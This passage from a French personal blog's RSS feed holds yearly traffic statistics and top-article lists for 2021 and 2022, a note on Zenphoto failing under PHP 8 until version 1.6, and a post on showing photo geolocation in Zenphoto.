1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/statistiques-du-blog-annee-2022/Capture-decran-du-2023-01-01-00-06-02.png&#34; width=&#34;576&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;On le voit bien sur les vues &amp;ldquo;Tendances&amp;rdquo; ci-dessous (les records de janvier 2021 tiennent facilement) :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;312px&#34; data-flex-grow=&#34;130&#34; height=&#34;935&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/statistiques-du-blog-annee-2022/stats1.png&#34; srcset=&#34;https://pled.fr/statistiques-du-blog-annee-2022/stats1_hu_d9fc98872a5aaa7.png 800w, https://pled.fr/statistiques-du-blog-annee-2022/stats1.png 1219w&#34; width=&#34;1219&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Ce qui nous donne globalement une légère baisse, on revient au niveau de l&amp;rsquo;année 2018 :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1554px&#34; data-flex-grow=&#34;647&#34; height=&#34;187&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/statistiques-du-blog-annee-2022/stats2.png&#34; srcset=&#34;https://pled.fr/statistiques-du-blog-annee-2022/stats2_hu_fa61a31e83a6822c.png 800w, https://pled.fr/statistiques-du-blog-annee-2022/stats2.png 1211w&#34; width=&#34;1211&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Côté Visiteurs, je ne dispose plus du généreux plugin &lt;a class=&#34;link&#34; href=&#34;http://faked.org/blog/wp-onlinecounter/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;WP online counter&lt;/a&gt; : il n&amp;rsquo;a pas résisté au passage à Wordpress 6 (et n&amp;rsquo;est plus maintenu). Il m&amp;rsquo;affichait l&amp;rsquo;année dernière un nombre total de visiteurs de &lt;strong&gt;2 873 800&lt;/strong&gt; !! C&amp;rsquo;était flatteur, mais peu réaliste.&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;ai donc reconstitué le nombres de &lt;strong&gt;visites&lt;/strong&gt; d&amp;rsquo;après les statistiques Wordpress disponibles, et des données de Free pour les années 2005 à 2007 tirées de mes articles de stats annuels. Et voilà ce que ça donne :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;408px&#34; data-flex-grow=&#34;170&#34; height=&#34;341&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/statistiques-du-blog-annee-2022/Capture-decran-du-2023-01-01-11-16-06.png&#34; width=&#34;580&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Bref, j&amp;rsquo;arrive ainsi à un total de &lt;strong&gt;607 926&lt;/strong&gt; visites. La bonne nouvelle, c&amp;rsquo;est que le million est redevenu un objectif à atteindre&amp;hellip; :wink: Du coup, je mets désormais à jour le &amp;ldquo;footer&amp;rdquo; du blog manuellement chaque nouvelle année avec le nouveau chiffre ci-dessus.&lt;/p&gt;&#xA;&lt;h3 id=&#34;les-articles&#34;&gt;Les articles&#xA;&lt;/h3&gt;&lt;p&gt;Il y a maintenant &lt;strong&gt;1414&lt;/strong&gt; articles publiés sur le blog, et &lt;strong&gt;1647&lt;/strong&gt; commentaires.&lt;/p&gt;&#xA;&lt;p&gt;En 2021, 42 articles ont été publiés (en baisse), et il y eu 58 commentaires de postés sur ceux-ci (retour à la normale après l&amp;rsquo;année 2021) :&lt;/p&gt;&#xA;&lt;p&gt;Titre20152016201720182019202020212022Articles7565925668565142Commentaires265440109555211858&lt;/p&gt;&#xA;&lt;p&gt;Un nouveau graphique sympa pour afficher le calendrier des publications (le mois de novembre est le plus actif) :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;672px&#34; data-flex-grow=&#34;280&#34; height=&#34;220&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/statistiques-du-blog-annee-2022/stats3.png&#34; width=&#34;616&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;le-top-20&#34;&gt;Le Top 20&#xA;&lt;/h3&gt;&lt;p&gt;Venons-en maintenant aux articles les plus lus en 2022.&lt;/p&gt;&#xA;&lt;p&gt;Les deux articles sur ma fracture du coude qui trustaient les deux premières places depuis des années ont donc enfin été (presque) détrônés par deux articles sur Openmediavault qui sont venus troubler cette hégémonie, j&amp;rsquo;en suis fort aise.&lt;/p&gt;&#xA;&lt;p&gt;On voit dans ce &amp;ldquo;top&amp;rdquo; apparaître pas mal de nouveaux articles, ceux concernant mon nouveau NAS Openmediavault, comme attendu. C&amp;rsquo;est la preuve que ces sujets sont d&amp;rsquo;actualité, on doit être nombreux à vouloir s&amp;rsquo;installer son NAS, créer une instance Nextcloud, etc&amp;hellip; C&amp;rsquo;est plutôt bien tout ça !&lt;/p&gt;&#xA;&lt;p&gt;L&amp;rsquo;autre bonne nouvelle, c&amp;rsquo;est qu&amp;rsquo;un livre arrive à se glisser dans ce classement à la 16ème place, et pas le moindre : &lt;a class=&#34;link&#34; href=&#34;http://href=%22/?p=5865&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Ringolevio&lt;/a&gt; ! Excellent bouquin, histoire vraie, je ne peux que vous encourager à le lire (recommandé par Simon Leys s&amp;rsquo;il vous plaît).&lt;/p&gt;&#xA;&lt;p&gt;Titre20152016201720182019202020212022&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=16901&#34; &gt;Openmediavault : Installation de PLEX server&lt;/a&gt;25152997&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=2829&#34; &gt;Fracture du coude – 6 mois après&lt;/a&gt;499811407106616738N/A506761632849&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=16959&#34; &gt;Openmediavault : Installation de Nextcloud&lt;/a&gt;34822562&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=2424&#34; &gt;Rééducation du coude&lt;/a&gt;393711374110176434N/A390340751961&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=17199&#34; &gt;Openmediavault : Organisation des sauvegardes&lt;/a&gt;7141516&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=17148&#34; &gt;Pihole comme DHCP serveur avec la box Orange&lt;/a&gt;4881135&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=15743&#34; &gt;Un Raspberry Pi pour ma chaîne Hi-Fi&lt;/a&gt;3371616785&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=11946&#34; &gt;Quelle durée de vie pour une carte micro SD ?&lt;/a&gt;646744&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=16508&#34; &gt;Ubuntu : Installation et dépannage de Samba&lt;/a&gt;720675&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=10899&#34; &gt;DS Video sur Samsung Smart TV&lt;/a&gt;6312147N/A19351444558&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=2887&#34; &gt;Faire son arbre généalogique avec GRAMPS&lt;/a&gt;6351126732240N/A483583488&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=11272&#34; &gt;LineageOS avec microG à la place des services Google&lt;/a&gt;613N/A486567435&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=8479&#34; &gt;Synchroniser les agendas de Thunderbird et Android avec Baïkal&lt;/a&gt;58214761270772N/A656713390&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=16854&#34; &gt;ODROID-HC2 - Installation d&amp;rsquo;Openmediavault&lt;/a&gt;505383&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=17223&#34; &gt;Openmediavault : déplacement de Docker&lt;/a&gt;382&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=5865&#34; &gt;Ringolevio - Emmett Grogan&lt;/a&gt;377&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=15131&#34; &gt;KVM pour remplacer VirtualBox&lt;/a&gt;561348&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=11827&#34; &gt;NAS Synology : Installation de Nextcloud sur DSM 6&lt;/a&gt;1762N/A2147883346&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=17941&#34; &gt;Nextcloud : mise à jour du container et limite de taille de fichiers à 1 Go et 2 Go&lt;/a&gt;344&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=15569&#34; &gt;Gnome-calendar : ajouter un agenda CalDAV&lt;/a&gt;334456336&lt;/p&gt;&#xA;&lt;p&gt;Voilà, à l&amp;rsquo;année prochaine, et portez-vous bien !&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Zenphoto et PHP 8</title>
            <link>https://pled.fr/zenphoto-et-php-8/</link>
            <pubDate>Wed, 30 Nov 2022 10:53:54 +0000</pubDate>
            <guid>https://pled.fr/zenphoto-et-php-8/</guid>
            <description>&lt;p&gt;&lt;img alt=&#34;nouveau logo zenphoto&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;zenphoto-logo-new.png#floatleft&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;utilise Zenphoto pour mon album-photo, et j&amp;rsquo;en suis très satisfait. En fait, je l&amp;rsquo;utilise depuis la version 1.0, et mon premier article à son sujet date de 2006 ! :cool:&lt;/p&gt;&#xA;&lt;p&gt;Seulement voilà, depuis lundi dernier, il affiche une belle page blanche et pour la raison suivante : mon hébergeur One.com est passé en PHP 8, or Zenphoto 1.5.9 ne supporte pas cette version.&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;avais été prévenu par un mail de mon hébergeur, la version PHP 7 arrivait en fin de support, ce qui signifie plus de mises à jour de sécurité, et donc il est normal qu&amp;rsquo;ils désactivent cette version :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;850px&#34; data-flex-grow=&#34;354&#34; height=&#34;245&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/zenphoto-et-php-8/php8-1.jpg&#34; srcset=&#34;https://pled.fr/zenphoto-et-php-8/php8-1_hu_161c00cf6d767419.jpg 800w, https://pled.fr/zenphoto-et-php-8/php8-1.jpg 868w&#34; width=&#34;868&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;C&amp;rsquo;est impressionnant de voir le rythme de sortie et la durée de vie d&amp;rsquo;une version PHP : un an de support, et une autre année de &amp;ldquo;security fix only&amp;rdquo;, et hop, terminé ! :oops:&lt;/p&gt;&#xA;&lt;p&gt;Je suis bien sûr allé voir sur le forum de Zenhpoto, et une version 1.6.0 est effectivement en préparation, mais ils ont un peu de retard&amp;hellip; Voir &lt;a class=&#34;link&#34; href=&#34;https://forum.zenphoto.org/discussion/1410922/php-8&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;ici&lt;/a&gt;. Si j&amp;rsquo;ai bien compris, la version 8 est plus stricte sur le type de variables et Zenphoto a pas mal de boulot à faire pour s&amp;rsquo;y conformer.&lt;/p&gt;&#xA;&lt;p&gt;Il y a bien une RC ( &lt;strong&gt;R&lt;/strong&gt; elease &lt;strong&gt;C&lt;/strong&gt; andidate) de fournie (&lt;a class=&#34;link&#34; href=&#34;https://github.com/zenphoto/zenphoto/archive/master.zip&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Zenphoto 1.6a (GitHub master)&lt;/a&gt;), mais comme il n&amp;rsquo;y a pas d&amp;rsquo;urgence, et que je n&amp;rsquo;ai pas de nouvel album photo de prévu pour l&amp;rsquo;instant, je préfère attendre la version 1.6 finale.&lt;/p&gt;&#xA;&lt;p&gt;Voilà, il ne me reste plus qu&amp;rsquo;à surveiller la page de Zenphoto pour voir quand cette version 1.6 sortira.&lt;/p&gt;&#xA;&lt;p&gt;Info&lt;/p&gt;&#xA;&lt;p&gt;12-dec-2022 : Et voilà, la version 1.6 de Zenphoto a été rendue disponible ce lundi.&lt;/p&gt;&#xA;&lt;p&gt;La mise à jour est passée comme une lettre à la poste, j&amp;rsquo;ai juste du mettre aussi à jour le thème zenji avec la version 1.1 (toujours pour la compatibilité php8).&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Statistiques du blog - Année 2021</title>
            <link>https://pled.fr/statistiques-du-blog-annee-2021/</link>
            <pubDate>Sat, 01 Jan 2022 17:55:23 +0000</pubDate>
            <guid>https://pled.fr/statistiques-du-blog-annee-2021/</guid>
            <description>&lt;p&gt;&lt;img loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;2022.jpg#floatleft&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Comme chaque année ou presque, voilà les statistiques du blog pour l&amp;rsquo;année 2021 qui vient de s&amp;rsquo;écouler. Comme j&amp;rsquo;aime à le rappeler, c&amp;rsquo;est sans doute l&amp;rsquo;article le plus inutile de l&amp;rsquo;année, il est donc important de commencer celle-ci par celui-là. :wink:&lt;/p&gt;&#xA;&lt;p&gt;Et j&amp;rsquo;en profite pour souhaiter au potentiel lecteur ou lectrice qui passerait sur cette page une très bonne année 2022, une bonne santé (vœu redevenu d&amp;rsquo;actualité), et plein de bonnes choses. Pour ma part, j&amp;rsquo;imagine une campagne électorale nauséabonde qui va venir s&amp;rsquo;ajouter aux complotistes en tous genres spécialistes ou pas du coronavirus : il va falloir redoubler d&amp;rsquo;attention sur le filtrage de ses sources d&amp;rsquo;information ; même un site comme &lt;a class=&#34;link&#34; href=&#34;http://linuxfr.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;linuxfr.org&lt;/a&gt; y est confronté, c&amp;rsquo;est dire.&lt;/p&gt;&#xA;&lt;p&gt;En résumé, les visites sont plutôt en hausse, le nombre d&amp;rsquo;articles à peu près stable, et les commentaires en hausse ! :cool:&lt;/p&gt;&#xA;&lt;p&gt;Mais revenons à l&amp;rsquo;essentiel, les chiffres, rien que les chiffres !&lt;/p&gt;&#xA;&lt;h3 id=&#34;les-stats&#34;&gt;Les stats&#xA;&lt;/h3&gt;&lt;p&gt;On commence comme toujours par le nombre de visites mensuelles. Le début d&amp;rsquo;année a confirmé l&amp;rsquo;embolie observée en fin d&amp;rsquo;année 2020 (on verra pourquoi plus bas), puis on est revenu à des chiffres plus faibles mais néanmoins en hausse :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;342px&#34; data-flex-grow=&#34;142&#34; height=&#34;306&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/statistiques-du-blog-annee-2021/stats1.jpg&#34; width=&#34;437&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Et d&amp;rsquo;ailleurs on dépasse l&amp;rsquo;année 2017 qui détenait le record de vues précédemment. Janvier 2021 devient le nouveau mois à battre !&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;356px&#34; data-flex-grow=&#34;148&#34; height=&#34;679&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/statistiques-du-blog-annee-2021/stats2-2.jpg&#34; srcset=&#34;https://pled.fr/statistiques-du-blog-annee-2021/stats2-2_hu_42a7dada63a3018d.jpg 800w, https://pled.fr/statistiques-du-blog-annee-2021/stats2-2.jpg 1008w&#34; width=&#34;1008&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Ce qui nous donne globalement une légère remontée, on revient au niveau des années 2016-2017 :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1313px&#34; data-flex-grow=&#34;547&#34; height=&#34;195&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/statistiques-du-blog-annee-2021/stats3.jpg&#34; srcset=&#34;https://pled.fr/statistiques-du-blog-annee-2021/stats3_hu_931b76951a24da50.jpg 800w, https://pled.fr/statistiques-du-blog-annee-2021/stats3.jpg 1067w&#34; width=&#34;1067&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Enfin, selon le généreux plugin &lt;a class=&#34;link&#34; href=&#34;http://faked.org/blog/wp-onlinecounter/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;WP online counter&lt;/a&gt;, le nombre total de visiteurs du blog (depuis sa création) est de 2 873 800 visiteurs (blog créé en décembre 2005). Bientôt les trois millions ! :cool:&lt;/p&gt;&#xA;&lt;h3 id=&#34;les-articles&#34;&gt;Les articles&#xA;&lt;/h3&gt;&lt;p&gt;Il y a maintenant &lt;strong&gt;1353&lt;/strong&gt; articles publiés sur le blog, et &lt;strong&gt;1589&lt;/strong&gt; commentaires.&lt;/p&gt;&#xA;&lt;p&gt;En 2021, 51 articles ont été publiés (à peu près stable), et il y eu 118 commentaires de postés sur ceux-ci, chiffre en forte augmentation, et qui fait plaisir :&lt;/p&gt;&#xA;&lt;p&gt;Titre2015201620172018201920202021Articles75659256685651Commentaires2654401095552118&lt;/p&gt;&#xA;&lt;h3 id=&#34;le-top-20&#34;&gt;Le Top 20&#xA;&lt;/h3&gt;&lt;p&gt;Venons-en maintenant aux articles les plus lus en 2021.&lt;/p&gt;&#xA;&lt;p&gt;Le duo de tête est toujours le même, deux articles sur ma fracture du coude : je pense qu&amp;rsquo;ils seront toujours là à truster les deux premières places ! :roll:&lt;/p&gt;&#xA;&lt;p&gt;On voit tout de même apparaître pas mal de nouveaux articles, ceux concernant mon nouveau NAS Openmediavault (comme je l&amp;rsquo;avais prévu &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=17125&#34; &gt;l&amp;rsquo;année dernière&lt;/a&gt;). Par exemple :&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=16959&#34; &gt;Openmediavault : Installation de Nextcloud&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=16901&#34; &gt;Openmediavault : Installation de PLEX server&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=16854&#34; &gt;ODROID-HC2 – Installation d’Openmediavault&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=17148&#34; &gt;Pihole comme DHCP serveur avec la box Orange&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Ce sont ces articles qui expliquent certainement le pic de visites en début d&amp;rsquo;année. Comme quoi les articles techniques génèrent toujours du trafic, qui plus est sur des sujets d&amp;rsquo;actualité, comme ici l&amp;rsquo;hébergement de ses données et services.&lt;/p&gt;&#xA;&lt;p&gt;Et toujours pas de bouquins dans ce top 20, il faut désormais attendre le 38e place pour voir apparaître le premier : &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=12014&#34; &gt;Les idées des autres - Simon Leys&lt;/a&gt;, immédiatement suivi par l’excellent &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=5865&#34; &gt;Ringolevio d’Emmett Grogan&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Titre2015201620172018201920202021&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=2829&#34; &gt;Fracture du coude – 6 mois après&lt;/a&gt;499811407106616738N/A50676163&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=2424&#34; &gt;Rééducation du coude&lt;/a&gt;393711374110176434N/A39034075&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=16959&#34; &gt;Openmediavault : Installation de Nextcloud&lt;/a&gt;3482&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=16901&#34; &gt;Openmediavault : Installation de PLEX server&lt;/a&gt;2515&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=15743&#34; &gt;Un Raspberry Pi pour ma chaîne Hi-Fi&lt;/a&gt;3371616&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=10899&#34; &gt;DS Video sur Samsung Smart TV&lt;/a&gt;6312147N/A19351444&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=11827&#34; &gt;NAS Synology : Installation de Nextcloud sur DSM 6&lt;/a&gt;1762N/A2147883&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=16714&#34; &gt;Installation Lineageos 17.1 avec microG&lt;/a&gt;791&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=16508&#34; &gt;Ubuntu : Installation et dépannage de Samba&lt;/a&gt;720&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=17199&#34; &gt;Openmediavault : Organisation des sauvegardes&lt;/a&gt;714&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=8479&#34; &gt;Synchroniser les agendas de Thunderbird et Android avec Baïkal&lt;/a&gt;58214761270772N/A656713&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=11946&#34; &gt;Quelle durée de vie pour une carte micro SD ?&lt;/a&gt;646&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=2887&#34; &gt;Faire son arbre généalogique avec GRAMPS&lt;/a&gt;6351126732240N/A483583&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=11272&#34; &gt;LineageOS avec microG à la place des services Google&lt;/a&gt;613N/A486567&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=15131&#34; &gt;KVM pour remplacer VirtualBox&lt;/a&gt;561&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=2339&#34; &gt;Chute de vélo (à l’arrêt)&lt;/a&gt;463839763578N/A485512&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=16854&#34; &gt;ODROID-HC2 - Installation d&amp;rsquo;Openmediavault&lt;/a&gt;505&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=17148&#34; &gt;Pihole comme DHCP serveur avec la box Orange&lt;/a&gt;488&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=15569&#34; &gt;Gnome-calendar : ajouter un agenda CalDAV&lt;/a&gt;334456&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=10813&#34; &gt;Mapper le répertoire d&amp;rsquo;un NAS Synology sur Ubuntu&lt;/a&gt;306N/A488446&lt;/p&gt;&#xA;&lt;p&gt;Voilà, à l&amp;rsquo;année prochaine, et portez-vous bien !&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Zenphoto : nouveau thème et géolocalisation</title>
            <link>https://pled.fr/zenphoto-nouveau-theme-et-geolocalisation/</link>
            <pubDate>Wed, 08 Dec 2021 18:06:50 +0000</pubDate>
            <guid>https://pled.fr/zenphoto-nouveau-theme-et-geolocalisation/</guid>
            <description>&lt;p&gt;&lt;img loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;geolocal1.png#floatleft&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;C&amp;rsquo;est en lisant un &lt;a class=&#34;link&#34; href=&#34;https://linuxfr.org/news/myphotoshare-une-galerie-de-medias-pour-le-web-pas-comme-les-autres&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;article&lt;/a&gt; présentant &lt;a class=&#34;link&#34; href=&#34;https://gitlab.com/paolobenve/myphotoshare&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;MyPhotoShare&lt;/a&gt; que tout a démarré : j&amp;rsquo;ai d&amp;rsquo;abord installé une instance de MyPhotoShare pour tester la bête, et je me suis dit : &amp;quot; &lt;em&gt;Oh, chouette, la géolocalisation des photos, c&amp;rsquo;est cool !&lt;/em&gt;».&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;ai donc commencé à réfléchir à la question, en pensant aux photos de mon dernier voyage en Asie, en me disant que ce serait cool d&amp;rsquo;afficher l&amp;rsquo;emplacement des photos sur l&amp;rsquo;album&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Cela soulevait deux questions : les photos du voyage contenaient-elles les données GPS ? et mon album photo (tournant sous &lt;em&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.zenphoto.org&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Zenphoto&lt;/a&gt;&lt;/em&gt;), pouvait-il facilement afficher ces données ?&lt;/p&gt;&#xA;&lt;p&gt;Du coup je me suis sérieusement penché sur le sujet : pour analyser mes photos, je me suis fabriqué un petit script bash. Pour tuer le suspense, voici le résultat concernant les données du voyage en Asie de 2018 :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;468px&#34; data-flex-grow=&#34;195&#34; height=&#34;407&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/zenphoto-nouveau-theme-et-geolocalisation/script.png&#34; width=&#34;795&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Je reviendrai sur ce script dans un autre article&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Concernant l&amp;rsquo;album photo, Zenphoto peut bien sûr afficher ces données, par le biais d&amp;rsquo;une extension qu&amp;rsquo;il suffit d&amp;rsquo;activer. Voilà un exemple de ce qui s&amp;rsquo;affiche sur la page d&amp;rsquo;un album contenant des données de géolocalisation :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;488px&#34; data-flex-grow=&#34;203&#34; height=&#34;300&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/zenphoto-nouveau-theme-et-geolocalisation/openstreetmap1.png&#34; width=&#34;611&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Les options permettent de choisir le niveau de zoom que l&amp;rsquo;on souhaite, si l&amp;rsquo;on veut afficher la mini-map ou non, et également l&amp;rsquo;écart de zoom entre les deux. Et c&amp;rsquo;est vraiment bien intégré, puisque en cliquant sur l&amp;rsquo;une des localisations, on a la miniature de la photo et sa légende qui s&amp;rsquo;affichent :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;484px&#34; data-flex-grow=&#34;201&#34; height=&#34;302&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/zenphoto-nouveau-theme-et-geolocalisation/openstreetmap2.png&#34; width=&#34;610&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Voilà, je suis plutôt satisfait au final, malgré la faible quantité de photos dans mon album qui contiennent ces données de géolocalisation. Bien sûr, il n&amp;rsquo;y a que depuis peu de temps que j&amp;rsquo;utilise le smartphone pour prendre les photos, mais pour mon dernier voyage en Asie, je suis très déçu. :cry:&lt;/p&gt;&#xA;&lt;p&gt;Revenons un peu sur ces photos prises avec le smartphone qui ont ou n&amp;rsquo;ont pas les données de géolocalisation, puis sur les modifications apportées à Zenphoto.&lt;/p&gt;&#xA;&lt;h3 id=&#34;les-données-gps&#34;&gt;Les données GPS&#xA;&lt;/h3&gt;&lt;p&gt;On l&amp;rsquo;a vu plus haut, à peine 10% de mes photos du voyage ont ces données d&amp;rsquo;intégrées. Alors pourquoi ? En fait je ne vois que ces explications :&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;parmi une liste de photos prises le même jour à Bangkok (&lt;a class=&#34;link&#34; href=&#34;https://zenphoto.pled.fr/tourisme/thailande/thailande-2018-2019/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;ici&lt;/a&gt;), certaines photos ont les données GPS et pas d&amp;rsquo;autres : je suppose que j&amp;rsquo;ai pris la photo trop rapidement pour que la géolocalisation ait eu le temps de se faire.&lt;/li&gt;&#xA;&lt;li&gt;Aucune photo prise en Birmanie (&lt;a class=&#34;link&#34; href=&#34;https://zenphoto.pled.fr/tourisme/birmanie/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    